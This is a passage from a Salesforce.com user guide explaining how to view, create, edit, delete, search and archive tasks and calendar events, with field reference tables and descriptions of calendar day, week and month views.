user has set up individual calendar sharing.
See Setting the Sharing Model on page 523 and Sharing
Your Calendar on page 40.

Note: Events marked as private via the Private


checkbox are accessible only by the user assigned to
the event. Other users cannot see the event details
when viewing that user’s calendar. However, users
with the “View All Data” or “Modify All Data”
permission can see private event details in reports and
searches, or when viewing other users’ calendars.

93
Activities Viewing Activities

Tip: The user who is assigned to an activity in the Assigned To field is often referred to as the “activity owner.”

See Also:
Viewing Activities
Editing Activities
Deleting Activities

Viewing Activities
Available in: All Editions

Activities include tasks and calendar events. Activities can display in the following locations:
Home Tab
Many users go to the Home tab to view their tasks and events. For more information, see Using Your Calendar and
Tasks on the Home Page on page 46.

Open Activities and Activity History Related Lists


You can also view, create, and update activities from the Open Activities and Activity History related lists of an associated
record. These related lists show all activities associated with the record, including activities that are assigned to other
users. For more information, see Using the Open Activities Related List on page 100 and Using the Activity History
Related List on page 101.

Activity List Views

To display a list of activities for which you or your team is responsible for completing, click the activity list view icon
( ) below the calendar on the Home tab or at the top of a calendar view. If your Home tab does not display the
Calendar or My Tasks sections, contact your administrator to customize your home page layout.
For more information, see Viewing Activity Lists on page 95.

Reminder Window
The reminder window pops up to notify you of upcoming activities. For more information, see Using the Activity
Reminder Window on page 103.

Console
Administrators of Professional, Enterprise, Unlimited, and Developer Edition organizations can set up the console to
include activities. Click the Console tab to display the console, which allows you to find, view, and edit activities and
their associated records on one screen. For more information, see Displaying the Console on page 2372.

See the following for details on viewing activities:

• Viewing Your Calendar


• Viewing Event Details on page 121

94
Activities Viewing Activity Lists

• Viewing Tasks on page 132

See Also:
Activity Accessibility
Creating Activities
Editing Activities
Deleting Activities
Activity Fields

Viewing Activity Lists


Available in: All Editions

User Permissions Needed


To view activities owned by you and users below you in the No permissions needed
role hierarchy:
To view all activities: “View All Data”

To display a list of activities for which you or your team is responsible for completing, click the activity list view icon ( )
below the calendar on the Home tab or at the top of a calendar view. If your Home tab does not display the Calendar or My
Tasks sections, contact your administrator to customize your home page layout.
From the activity list view, you can do the following:

• Click New Task or New Event to create a new activity. For more information, see Creating Activities on page 96.
• Click Printable View ( ) to display the current list view in a format that is ready for printing.
• Click an activity to view its details. When viewing an activity, click Back to list at the top of the activity detail page to
return to the last list page you viewed. See Navigating on page 9 for more information.

Archived activities are not included in activity list views. See Using the Activity History Related List on page 101 for details
on which activities are archived.
Note: If your administrator has enabled enhanced lists, you can use additional tools to customize, navigate, manage,
and edit list data.

To change which activity list view displays:

1. Click the list view icon below the calendar on the Home tab.
2. Select a view name from the drop-down list.
The following list views are provided by Salesforce.com:

• All Activities - Shows activities that you can view. In Personal Edition, the All Activities list view shows all of your
activities.

95
Activities Creating Activities

• My Activities - Shows activities that you own.


• My Delegated Activities - Shows activities that you created but are owned by someone else.
Note: Inviting other Salesforce.com users to an event or task is like delegating that activity to those users. So
the My Delegated Activities list view also shows activities for all invited users even if you still own that activity.
In the list view, the invited user appears as the person assigned to the activity but the activity's detail page shows
you as the assignee.

• My Team's Activities - Shows activities owned by users who report to you in the role hierarchy.
For your convenience, your team's activities are converted to your time zone.

To create a new activity list:

1. Click the list view icon below the calendar on the Home tab.
2. Click Create New View. See Creating Custom List Views on page 219 for more information.

See Also:
Viewing Activities
Using Your Calendar and Tasks on the Home Page
Viewing Your Calendar
Activity Accessibility
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists

Creating Activities
Available in: All Editions

User Permissions Needed


To create tasks: “Edit Tasks”
To create events: “Edit Events”

You can create new activity records (tasks and events) from the following locations:
In the sidebar
In the sidebar, select Task or Event from the Create New drop-down list.

On the home page


On the Home tab, click New in the My Tasks section or New Event in the Calendar section.

96
Activities Creating Activities

On the detail page of an associated record


On the detail page of an associated record, click New Task, New Event, or New Meeting Request on the Open Activities
related list. In addition, you can click Log a Call on the Activity History related list to add a new task record with a
completed status.

On a calendar view
On a calendar view, click New Event to add a new event. In addition:

• On day views you can click New in the My Tasks section to add a new task.
• On day views you can click a time such as 9:00 AM to add an event at that time.
• On day and week views, you can double-click on a time slot to create a new event. Your administrator controls the
availability of this feature. Note that recurring events and group events are not supported for click-and-create events
on calendar views.
• On week and month views you can click the Add Event icon ( ) to add an event on a particular date.

On an activity list view


On an activity list view, click New Task or New Event to create a new activity. To display an activity list view, click the
activity list view icon ( ) below the calendar on the Home tab or at the top of a calendar view.

On account, contact, and lead list views


On account, contact, and lead list views click the Open Calendar link at the bottom of the page to display a weekly
view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar to quickly
create an event associated with the record. Note that your administrator controls the availability of this feature. For more
information, see Working with Drag-and-Drop Scheduling on page 131.

Note: In Enterprise, Unlimited, and Developer Editions, your administrator defines the record types that you can
select when creating an activity. Record types determine the picklist values and page layouts that are available when
creating and editing a record.

See Also:
Creating Tasks
Creating Events
Viewing Activities
Editing Activities
Requesting a Meeting With Contacts, Leads, and Person Accounts

97
Activities Editing Activities

Editing Activities
Available in: All Editions

User Permissions Needed


To edit tasks: “Edit Tasks”
To edit events: “Edit Events”

See the following for details on editing activities:

• Editing Tasks
• Closing Tasks
• Editing Events

- Editing Group Events


- Editing Recurring Events
- Editing an Event in a Public or Resource Calendar

See Also:
Viewing Activities
Creating Activities
Deleting Activities
Activity Fields

Deleting Activities
Available in: All Editions
Group events not available in: Personal Edition

User Permissions Needed


To delete tasks: “Edit Tasks”
To delete events: “Edit Events”

To delete an activity:
Click Delete on the activity detail page, click Del from any activity list view or related list, or click Delete on the event detail
overlay.

98
Activities Deleting Recurring Events

Deleted tasks and events are moved to the Recycle Bin.

• Administrators can use Mass Delete to delete a group of activities or archived activities. See Deleting Mass Data on page
602.
• For group events, only the event owner can delete the event. However, when you decline a group event, the event is removed
from your calendar.
• When an event owner deletes a group event, all invited users receive an email notifying them that the event has been
canceled.
• When deleting a recurring event or deleting a recurring task, you can either delete a single occurrence in the series or the
entire series.

See Also:
Recycle Bin

Deleting Recurring Events


Available in: All Editions

User Permissions Needed


To delete recurring events: “Edit Events”

Only the event or series owner can delete an event or series of events. If you have been invited to a group event or a series of
group events, to remove them from your calendar, decline the event or series of events. See Responding to Group Events on
page 130 for more information.
To delete a single event in a series of events:

1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record,
and then click the View Event subtab. Alternatively, mouse over the event in any calendar, and click Edit.
2. Click Delete Event. A warning dialog will be displayed. If you are sure you want to delete only this event in the series,
click OK.

Alternatively, hover your mouse over the event in a calendar. and click Delete in the event detail overlay.
Note: When an event owner deletes a recurring group event, all invited users receive an email notifying them that the
event has been canceled.
Deleted events are moved to the Recycle Bin. If they are restored, all the details of the event will be restored as well.

To delete a series of events:

1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record.
2. Click the View Series subtab located above the task details, and click Delete Series. A warning dialog displays. If you are
sure you want to delete every future occurrence in the series, click OK.

99
Activities Using the Open Activities Related List

Note: Consider the following when deleting a series of events:

• Deleting a series does not delete occurrences that have already happened.
• When an event owner deletes a series of recurring group events, all invited users receive a single email notifying
them that the series of events has been canceled.
• If a series is deleted and no events in the series occurred in the past, the series is placed in the Recycle Bin. Individual
events that were part of the series are not placed in the Recycle Bin.
• If a series is deleted and it contains events that occurred in the past, the series is not placed in the Recycle Bin, and
therefore it cannot be restored from the Recycle Bin.
• If you restore a series from the Recycle Bin, individual events will be created. Those individual events will have the
details as defined by the series, as well as any event-specific details that were set on the event before the series was
deleted.

Using the Open Activities Related List


Available in: All Editions

The Open Activities related list displays:

• Open tasks
• Open events
• Requested meetings

These activities are displayed for a record and its associated records. For example, if you have a task related to a contact, that
task displays in the Open Activities related list of the contact as well as the associated account.
From the Open Activities related list:

• Click New Task or New Event to create an activity that is associated with the record.
• Click New Meeting Request to request a meeting with a contact, lead, or person account. Once you request a meeting,
the calendar icon ( ) displays next to it.
• Click Edit to edit an activity.
• Click Cls to close a task. For more information, see Closing Tasks on page 137.
• Click Del to delete an event or requested meeting. Salesforce.com emails the invitees that the event or meeting was
cancelled.
• Click the subject of an activity to open the detail page of the activity.

Your administrator can customize the fields and buttons that display in related lists; see Customizing Page Layouts on page
1014.

100
Activities Using the Activity History Related List

Note: For person account records, the related list includes activities that have the person account in either the Name
or Related to fields. As appropriate, the Name or Related to column in the related list displays the person's
name. For more information, see What is a Person Account? on page 54.

See Also:
Using the Activity History Related List
Viewing Activities

Using the Activity History Related List


Available in: All Editions

The Activity History related list of a record displays all completed tasks, logged phone calls, expired events, outbound email,
mass email, email added from Microsoft Outlook®, and merged documents for the record and its associated records.
In the Activity History related list, click:

• Log A Call to enter the results of unplanned phone calls and then schedule a follow-up task. Use this feature, along with
scheduled events and tasks to track all activities for a record.
• Mail Merge to generate personalized documents using your data and Microsoft Word templates provided by your
administrator. If you choose, the merged document is listed in the Activity History related list of the associated record.
This button is not available for all types of records. For more information, see Sending Single Mail Merge Documents on
page 1999.
• Send An Email to send an email to a contact or lead and associate the email with both the contact or lead and the displayed
account, opportunity, case, or custom object. The email you send is automatically listed in the Activity History related list
of the contact or lead. If the subject is longer than 100 characters, it is truncated with ellipses (...). When appropriate, it
is also listed for the record associated with the email, such as the opportunity or case. This button is not available for all
types of records.
• Compose Gmail to send an email to a contact or lead from your Gmail account. The email you send is automatically listed
in the Activity History related list of the contact or lead. This button is only available if the Gmail Buttons and Links
feature is enabled. If the Gmail to Salesforce.com feature is also enabled, the email you send is automatically listed in the
Activity History related list of the contact or lead. See Using Gmail in Salesforce.com on page 310 for more information.
• Request Update to launch a contact update email to send to the selected contact. This email allows you to enter an
introductory note asking the contact to update the contact information you have and send a reply with the updated
information. You can update your contact record when you receive the response. These emails and the mass Stay-in-Touch
emails will be listed in the Activity History related list.
• View All to display a printable view of all completed activities.
Note that the View All button only displays when there are records to view.
• The subject of an activity to view its details.

If your organization has added the Case Activities related list to the View Cases page layout in the Self-Service portal and you
have set the field-level security to visible for the Visible in Self-Service checkbox on activities, you can click the
following:

• Make Public to display the completed activity in the activities related list on the case in the Self-Service portal.

101
Activities Setting Reminders on Activities

• Make Private to hide the completed activity in the activities related list on the case in the Self-Service portal.

Your administrator can customize the fields and buttons that display in related lists; see Customizing Page Layouts on page
1014.
Note: For person account records, the related list includes activities that have the person account in either the Name
or Related to fields. As appropriate, the Name or Related to column in the related list displays the person's
name. For more information, see What is a Person Account? on page 54.

See Also:
Using the Open Activities Related List
About Archived Activities
Viewing Activities
Sending Email

Setting Reminders on Activities


Available in: All Editions

User Permissions Needed


To edit tasks: “Edit Tasks”
To edit events: “Edit Events”

Salesforce.com can display popup reminders for upcoming tasks and events. Reminders notify the activity assignee of an
upcoming task or event. The reminder displays in a small browser popup window when the activity assignee is logged in to
Salesforce.com. When a user logs in, any reminders that have not been dismissed and reminders scheduled to occur since the
last time the user logged out are shown in the reminder window.
When you create or edit an event or task, you have an option to set a reminder on it. The reminder defaults to the time specified
in your reminder settings.
To set a reminder on a task:

1. Create or edit a task.


2. Select the Reminder checkbox.
3. Choose the date and time for the reminder. You will be reminded of the task on that date and time.
If you are setting the reminder for a recurring task series, the reminder applies to each occurrence in the series.
4. Click Save.

To set a reminder on an event:

1. Create or edit an event.


2. Select the Reminder checkbox.
3. Choose how long before the event that you want to be reminded.

102
Activities Using the Activity Reminder Window

4. Click Save.

See Also:
Using the Activity Reminder Window
Customizing Activity Reminders
Viewing Activities
Editing Activities

Using the Activity Reminder Window


Available in: All Editions

Reminders display in a small browser popup window, called the “reminder window.” When you first log into Salesforce.com,
a sound is played and the reminder window automatically pops up to notify you of any task or event reminders that were
triggered since you last logged in. While you are logged in, the reminders window opens whenever a reminder is triggered.
The reminder window lists up to 100 of the oldest reminders you have not dismissed, the type of activity, the subject of the
activity, and when the activity is scheduled or due. Activities that were scheduled or due in the past will show as overdue. To
find out more details on the activity, click on the subject of the activity.
When viewing the reminder window, you can choose to dismiss or snooze one or more reminders.
To dismiss all reminders in the window, click Dismiss All. After you click Dismiss All, the window will display any reminders
that were not previously in the window due to the 100 reminder limit.
To dismiss a reminder:

1. Select one or more reminders.


2. Click Dismiss.

To snooze a reminder:

1. Select one or more reminders.


2. In the drop-down list, select one of the snooze options. The default snooze option is to remind you again in five minutes.
3. Click Snooze.

If you close the reminder window, it will open again when you are notified of the next reminder.
Note: If your reminder popups fail to display, ensure that your browser is not blocking them. For more information,
see Why can't I view Salesforce.com popup windows such as lookup dialogs and the Help & Training window? on
page 2575.

See Also:
Setting Reminders on Activities
Customizing Activity Reminders
Viewing Activities

103
Activities Searching for Activities

Searching for Activities


Available in: All Editions

To find activities:

1. Enter your search terms in the Search box located in the sidebar.
Alternatively, click Advanced Search in the sidebar to search for items using the Advanced Search functionality, which
searches for matches in additional fields.
2. Click Search.
The search returns a list of items that match your search terms. The fields you see are determined by the search layout
defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer
Editions only).
3. From the list of search results, select a record to jump directly to that record or click Edit to edit it.

Note: Archived activities are not included in Advanced Search and Sidebar Search results.

See Also:
Search Overview
Viewing Activities

Activity Fields
The available fields vary according to which Salesforce.com Edition you have.

An activity has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings,
some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)

See Also:
Viewing Activities
Activity Overview

104
Activities Activity Fields

Event Fields
Field Description
Activity Currency The default currency for all currency amount fields in the
activity. Amounts display in the activity currency, and are also
converted to the user's personal currency. Available only for
organizations that use multiple currencies.
All Day Event Checkbox that specifies whether event lasts all day.
Assigned To Assigned owner of event. By default, the event is assigned to
the creator. To assign the event to another user, enter a user's
name, or select a user with the lookup icon. This field is not
available in Personal Edition.
Contact or Lead Contact or lead associated with the event. You can enter the
name of the person or use the lookup icon to select the name.
This only displays if you have the “Read” permission for that
type of record; users with sharing access to the record can click
it to view more details.
Create Recurring Series of Events Allows you to set up a series of recurring events.
Created By User who created the event including creation date and time.
(Read only)
Date Planned date of event. You can enter a date, or choose a date
from the calendar that displays when you put your cursor in
the field.
This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 1064.

Description Text note describing event. This field can hold up to 32KB
of data.
Division Division to which the activity belongs. This value is
automatically inherited from the related account, lead, case,
or custom object, if any. Otherwise, the activity belongs to the
global division. Available only in organizations that use
divisions to segment their data.
Duration The length of a timed event in hours and minutes.
This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 1064.

Email The email address of the contact or lead associated with the
event. This field is automatically filled in with the value from
the corresponding contact or lead record.

105
Activities Activity Fields

Field Description
End Planned end date and time of event. You can enter a date, or
choose a date from the calendar that displays when you put
your cursor in the field. Additionally, you can add the current
time by clicking the time link next to the field.
This field appears only if multiday events are enabled; see
Customizing Activity Settings on page 1064.

Event Record Type Name of the field that determines what picklist values are
available for the record. Available in Enterprise, Unlimited,
and Developer Edition.
Last Modified By User who last changed the event, including modification date
and time. (Read only)
Location Location of the event.
Phone The phone number of the contact or lead associated with the
event. This field is automatically filled in with the value from
the corresponding contact or lead record.
Private Indicates whether users other than the event owner can see
the event details when viewing the event owner's calendar.
However, users with the “View All Data” or “Modify All Data”
permission can see private event details in reports and searches,
or when viewing other users' calendars. Exported data files
will always contain private events. Cannot be set for group
events or when adding or modifying an event in another user's
calendar. Private events cannot be associated with
opportunities, accounts, cases, campaigns, contracts, leads, or
contacts.
Related To The record that the event is associated with such as an account,
opportunity, or custom object. This only displays if you have
the “Read” permission for that type of record; users with
sharing access to the record can click it to view more details.
This option is not available when you associate the event with
a lead instead of a contact.
Response Optional field that allows users invited to a group event to
enter a note when they accept or decline the event. This field
is not available in Personal Edition.
Show Time As Picklist that determines how this event appears when another
user views your calendar: busy, out of office, or free time.
Start Planned start date and time of event. You can enter a date, or
choose a date from the calendar that displays when you put
your cursor in the field. Additionally, you can add the current
time by clicking the time link next to the field.

106
Activities Activity Fields

Field Description
This field appears only if multiday events are enabled; see
Customizing Activity Settings on page 1064.

Subject Entry describing subject of activity, for example, “Meeting.” 


You can enter a subject, or select from a list of previously
defined subjects.
Time Time of a planned event. You can add the current time by
clicking the time link next to the field.
This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 1064.

Type Type of the event, for example, Email, Meeting. Each picklist
value can have up to 40 characters.
Visible in Self-Service Checkbox that specifies whether the completed event is visible
in the Self-Service portal.

Task Fields
Field Description
Activity Currency The default currency for all currency amount fields in the
activity. Amounts display in the activity currency, and are also
converted to the user’s personal currency. Available only for
organizations that use multiple currencies.
Assigned To Assigned owner of task. By default, the task is assigned to the
creator. To assign the task to another user, enter a user’s name,
or select a user with the lookup icon. This field is not available
in Personal Edition. To assign independent copies of a new
task to multiple users, see Creating Group Tasks on page 134.
Comments Text note describing the task. This field can hold up to 32KB
of data.
Create Recurring Series of Tasks Allows you to set up a series of recurring tasks. Selecting this
checkbox automatically disables the Due Date field because
each task occurrence in a series will have a different due date.
Created By User who created the task including creation date and time.
(Read only)
Division Division to which the activity belongs. This value is
automatically inherited from the related account, lead, case,
or custom object, if any. Otherwise, the activity belongs to the
global division. Available only in organizations that use
divisions to segment their data.

107
Activities Activity Fields

Field Description
Due Date Date when the task should be completed. You can enter a
date, or choose a date from the calendar that displays when
you put your cursor in the field.
Email The email address of the contact or lead associated with the
task. This field is automatically filled in with the value from
the corresponding contact or lead record.
Last Modified By User who last changed the task, including modification date
and time. (Read only)
Name Contact or lead associated with the task. You can enter the
name of the person or use the lookup icon to select the name.
This field only displays if you have the “Read” permission for
that type of record; users with sharing access to the record can
click it to view more details.
Phone The phone number of the contact or lead associated with the
task. This field is automatically filled in with the value from
the corresponding contact or lead record.
Priority Urgency of the task, for example, Low, Medium, or High.
(Picklist selections can be customized by your administrator.)
Related To The record that the task is associated with such as an account
or opportunity. This field is not available when you associate
the task with a lead instead of a contact. This field only
displays if you have the “Read” permission for that type of
record; users with sharing access to the record can click it to
view more details.
Send Notification Email Checkbox that sends an automated email to the task assignee
to notify him or her that the task was assigned. This option
is not available in Personal Edition.
Status Current status of task, for example, Not Started or Completed.
(Picklist selections can be customized by your administrator.)
Subject The subject or short description of the task, for example,
“Email quote to customer.” You can enter a subject, or select
from a picklist of previously defined subjects.
Task Record Type Name of the field that determines what picklist values are
available for the record. Available in Enterprise, Unlimited,
and Developer Edition.
Type Type of the task, for example, Email, Meeting. Each picklist
value can have up to 40 characters.
Visible in Self-Service Checkbox that specifies whether the completed task is visible
in the Self-Service portal.

108
Activities Event Fields

Event Fields
Field Description
Activity Currency The default currency for all currency amount fields in the
activity. Amounts display in the activity currency, and are also
converted to the user's personal currency. Available only for
organizations that use multiple currencies.
All Day Event Checkbox that specifies whether event lasts all day.
Assigned To Assigned owner of event. By default, the event is assigned to
the creator. To assign the event to another user, enter a user's
name, or select a user with the lookup icon. This field is not
available in Personal Edition.
Contact or Lead Contact or lead associated with the event. You can enter the
name of the person or use the lookup icon to select the name.
This only displays if you have the “Read” permission for that
type of record; users with sharing access to the record can click
it to view more details.
Create Recurring Series of Events Allows you to set up a series of recurring events.
Created By User who created the event including creation date and time.
(Read only)
Date Planned date of event. You can enter a date, or choose a date
from the calendar that displays when you put your cursor in
the field.
This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 1064.

Description Text note describing event. This field can hold up to 32KB
of data.
Division Division to which the activity belongs. This value is
automatically inherited from the related account, lead, case,
or custom object, if any. Otherwise, the activity belongs to the
global division. Available only in organizations that use
divisions to segment their data.
Duration The length of a timed event in hours and minutes.
This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 1064.

Email The email address of the contact or lead associated with the
event. This field is automatically filled in with the value from
the corresponding contact or lead record.

109
Activities Event Fields

Field Description
End Planned end date and time of event. You can enter a date, or
choose a date from the calendar that displays when you put
your cursor in the field. Additionally, you can add the current
time by clicking the time link next to the field.
This field appears only if multiday events are enabled; see
Customizing Activity Settings on page 1064.

Event Record Type Name of the field that determines what picklist values are
available for the record. Available in Enterprise, Unlimited,
and Developer Edition.
Last Modified By User who last changed the event, including modification date
and time. (Read only)
Location Location of the event.
Phone The phone number of the contact or lead associated with the
event. This field is automatically filled in with the value from
the corresponding contact or lead record.
Private Indicates whether users other than the event owner can see
the event details when viewing the event owner's calendar.
However, users with the “View All Data” or “Modify All Data”
permission can see private event details in reports and searches,
or when viewing other users' calendars. Exported data files
will always contain private events. Cannot be set for group
events or when adding or modifying an event in another user's
calendar. Private events cannot be associated with
opportunities, accounts, cases, campaigns, contracts, leads, or
contacts.
Related To The record that the event is associated with such as an account,
opportunity, or custom object. This only displays if you have
the “Read” permission for that type of record; users with
sharing access to the record can click it to view more details.
This option is not available when you associate the event with
a lead instead of a contact.
Response Optional field that allows users invited to a group event to
enter a note when they accept or decline the event. This field
is not available in Personal Edition.
Show Time As Picklist that determines how this event appears when another
user views your calendar: busy, out of office, or free time.
Start Planned start date and time of event. You can enter a date, or
choose a date from the calendar that displays when you put
your cursor in the field. Additionally, you can add the current
time by clicking the time link next to the field.

110
Activities Task Fields

Field Description
This field appears only if multiday events are enabled; see
Customizing Activity Settings on page 1064.

Subject Entry describing subject of activity, for example, “Meeting.” 


You can enter a subject, or select from a list of previously
defined subjects.
Time Time of a planned event. You can add the current time by
clicking the time link next to the field.
This field appears only if multiday events are disabled; see
Customizing Activity Settings on page 1064.

Type Type of the event, for example, Email, Meeting. Each picklist
value can have up to 40 characters.
Visible in Self-Service Checkbox that specifies whether the completed event is visible
in the Self-Service portal.

Task Fields
Field Description
Activity Currency The default currency for all currency amount fields in the
activity. Amounts display in the activity currency, and are also
converted to the user’s personal currency. Available only for
organizations that use multiple currencies.
Assigned To Assigned owner of task. By default, the task is assigned to the
creator. To assign the task to another user, enter a user’s name,
or select a user with the lookup icon. This field is not available
in Personal Edition. To assign independent copies of a new
task to multiple users, see Creating Group Tasks on page 134.
Comments Text note describing the task. This field can hold up to 32KB
of data.
Create Recurring Series of Tasks Allows you to set up a series of recurring tasks. Selecting this
checkbox automatically disables the Due Date field because
each task occurrence in a series will have a different due date.
Created By User who created the task including creation date and time.
(Read only)
Division Division to which the activity belongs. This value is
automatically inherited from the related account, lead, case,
or custom object, if any. Otherwise, the activity belongs to the
global division. Available only in organizations that use
divisions to segment their data.

111
Activities Task Fields

Field Description
Due Date Date when the task should be completed. You can enter a
date, or choose a date from the calendar that displays when
you put your cursor in the field.
Email The email address of the contact or lead associated with the
task. This field is automatically filled in with the value from
the corresponding contact or lead record.
Last Modified By User who last changed the task, including modification date
and time. (Read only)
Name Contact or lead associated with the task. You can enter the
name of the person or use the lookup icon to select the name.
This field only displays if you have the “Read” permission for
that type of record; users with sharing access to the record can
click it to view more details.
Phone The phone number of the contact or lead associated with the
task. This field is automatically filled in with the value from
the corresponding contact or lead record.
Priority Urgency of the task, for example, Low, Medium, or High.
(Picklist selections can be customized by your administrator.)
Related To The record that the task is associated with such as an account
or opportunity. This field is not available when you associate
the task with a lead instead of a contact. This field only
displays if you have the “Read” permission for that type of
record; users with sharing access to the record can click it to
view more details.
Send Notification Email Checkbox that sends an automated email to the task assignee
to notify him or her that the task was assigned. This option
is not available in Personal Edition.
Status Current status of task, for example, Not Started or Completed.
(Picklist selections can be customized by your administrator.)
Subject The subject or short description of the task, for example,
“Email quote to customer.” You can enter a subject, or select
from a picklist of previously defined subjects.
Task Record Type Name of the field that determines what picklist values are
available for the record. Available in Enterprise, Unlimited,
and Developer Edition.
Type Type of the task, for example, Email, Meeting. Each picklist
value can have up to 40 characters.
Visible in Self-Service Checkbox that specifies whether the completed task is visible
in the Self-Service portal.

112
Activities About Archived Activities

About Archived Activities


Available in: All Editions

Salesforce.com archives older activities according to the conditions below:

• Events with a due date greater than 365 days old


• Closed tasks with a due date greater than 365 days old
• Closed tasks without a due date that were created more than 365 days ago

Archived activities can be viewed only in export files, printable view, or by clicking View All on the Activity History related
list. You can also view an archived activity if you know the URL for the activity.
Administrators can delete archived activities using Mass Delete.
Archived tasks are not included in reports. However, you can report on open or completed tasks.

See Also:
Searching for Activities
Using the Activity History Related List

WORKING WITH CALENDARS

Viewing Your Calendar


Available in: All Editions

Accessing Your Calendar


You can access your calendar from the following locations:
• The Home tab
For more information, see Using Your Calendar and Tasks on the Home Page on page 46.
• The Calendar shortcut in the sidebar that opens your last used calendar view
Your Salesforce.com administrator must enable this shortcut. For more information, see Customizing Activity Settings
on page 1064.
• The detail page of an event or task, which includes calendar icons at the top
• An activities list view, which includes calendar icons at the top

113
Activities Viewing Your Calendar

Using the Calendar Icons


Click the following icons to navigate your calendar:

Item Description
Day View icon. See Using the Calendar Day View on page
115.
Week View icon. See Using the Calendar Week View on page
117.
Month View icon. See Using the Calendar Month View on
page 117.
Single User View icon. Displays a user's calendar, a public
calendar, or a resource calendar.
Multi-User View icon. Displays several users' calendars. See
Using Multi-User Calendar Views on page 120.
Activity list view. See Viewing Activity Lists on page 95.

Previous arrow. Click to change the view to the previous day,


week, or month, as appropriate.
Next arrow. Click to change the view to the next day, week,
or month, as appropriate.
Pick a Date icon. Click to open a popup dialog where you can
choose a specific date.

Note:
• Events and tasks that are part of a recurring series are marked with a recurrence icon ( )
• The group event icon ( ) identifies group events. Group events are not available in Personal Edition.

Using Calendar Views


See the following topics for information on how to use different calendar views:
• Using the Calendar Day View
• Using the Calendar Week View
• Using the Calendar Month View
• Using Multi-User Calendar Views

Tips on Using Calendar Views


Consider the following when using calendar views:
• Reschedule an appointment by dragging the item on your calendar to a different time. For best results, place your mouse
over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that
you drag is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop calendar
editing; see Enable Drag-and-Drop Editing on Calendar Views.

114
Activities Using the Calendar Day View

• Create an appointment by double-clicking a time slot and entering the details in an interactive overlay. Note that your
administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on Calendar Views
on page 1250.
• To change the default range of hours that your calendar displays, change the Start of day and End of day fields on
your personal information page. For example, if your workday typically begins at 8:00 AM and ends at 6:00 PM, changing
Start of day to 8:00 AM and End of day to 6:00 PM causes your daily and weekly calendar views to default to that
range of hours.

See Also:
Viewing Event Details
Creating Events
Editing Events
About Event Detail Overlays
Customizing Activity Reminders

Using the Calendar Day View


Available in: All Editions

When viewing your calendar, click to open the day view.


In the single user day view, you can:

• See the events scheduled for the specified day.


• See a list of tasks. You can change which tasks you see using the drop-down list.
• Hover your mouse over the subject of an event to see the details of the event in an overlay.
• Hover your mouse over the subject of a task to see the details of the task in an overlay.
Note: The event detail or task detail overlays are hover popups that show information about the event or task and
allow you to quickly edit or delete the event or task.
The information presented on these overlays is configured by your administrator. See Defining Mini Page Layouts
on page 2368 for details on configuring the event detail or task detail overlays.

• Click a time such as 9:00 AM to add an event at that time. Alternatively, double-click a time slot to enter the details of
the event in an interactive overlay. Note that your administrator controls the availability of click-and-create events; see
Enable Click-and-Create Events on Calendar Views on page 1250.
• Reschedule an appointment by dragging an item on your calendar to a different time. For best results, place your mouse
over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that
you drag is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop calendar
editing; see Enable Drag-and-Drop Editing on Calendar Views on page 1250.
Drag-and-drop editing is not available for multiday events.
• Navigate the calendar using the calendar icons.
• Click Today to display the day view for today.

115
Activities Using the Calendar Week View

• Click [Change] to switch to the calendar of another user, a public calendar, or a resource calendar; see Viewing Other
Calendars on page 118.
• Click [Share My Calendar] to set your personal calendar sharing; see Granting Access to Your Calendar on page 40.
• Click Printable View to display the current calendar view in a print-ready format; see Printing Your Calendar on page
119.

In the multi-user day view, you can view the events of multiple users for the specified day. For more information, see Using
Multi-User Calendar Views on page 120.
Note: An event that spans more than one day (for example, a client meeting from 10 PM Friday to 2 AM Saturday),
always displays on both days in calendar views.

See Also:
Using the Calendar Week View
Using the Calendar Month View
Viewing Event Details
Creating Events
Editing Events

Using the Calendar Week View


Available in: All Editions

When viewing your calendar, click to open the week view.


In single user week view, you can:

• See the events scheduled for the specified week.


• Hover your mouse over the subject of an event to see the details of the event in an overlay.
• Click the Add Event icon ( ) to add an event on the appropriate day. Alternatively, double-click a time slot to enter the
details of the event in an interactive overlay. Note that your administrator controls the availability of click-and-create
events; see Enable Click-and-Create Events on Calendar Views on page 1250.
• Click the date—for example, 26 for March 26th—to drill down to the day view for that day.
• Reschedule an appointment by dragging an item on your calendar to a different time. For best results, place your mouse
over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that
you drag is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop calendar
editing; see Enable Drag-and-Drop Editing on Calendar Views on page 1250.
Drag-and-drop editing is not available for multiday events.
• Navigate the calendar using the calendar icons.
• Click This Week to display the week view for the current week.
• Click [Change] to switch to the calendar of another user, a public calendar, or a resource calendar; see Viewing Other
Calendars on page 118.
• Click [Share My Calendar] to set your personal calendar sharing; see Granting Access to Your Calendar on page 40.

116
Activities Using the Calendar Month View

• Click Printable View to display the current calendar view in a print-ready format; see Printing Your Calendar on page
119.
• Select Show Weekends to display Saturday and Sunday.

Tip: On account, contact, and lead list views click the Open Calendar link at the bottom of the page to display a
weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar
to quickly create an event associated with the record. Note that your administrator controls the availability of this
feature. For more information, see Working with Drag-and-Drop Scheduling on page 131.

In the multi-user week view, you can view the events of multiple users for the specified week. For more information, see Using
Multi-User Calendar Views on page 120.
Note: An event that spans more than one day (for example, a client meeting from 10 PM Friday to 2 AM Saturday),
always displays on both days in calendar views.

See Also:
Using the Calendar Day View
Using the Calendar Month View
Viewing Event Details
Creating Events
Editing Events

Using the Calendar Month View


Available in: All Editions

When viewing your calendar, click to open the month view.


In single user month view, you can:

• See the events scheduled for the specified month.


• Hover your mouse over the subject of an event to see the details of the event in an overlay.
• Click the Add Event icon ( ) to add an event on the appropriate day.
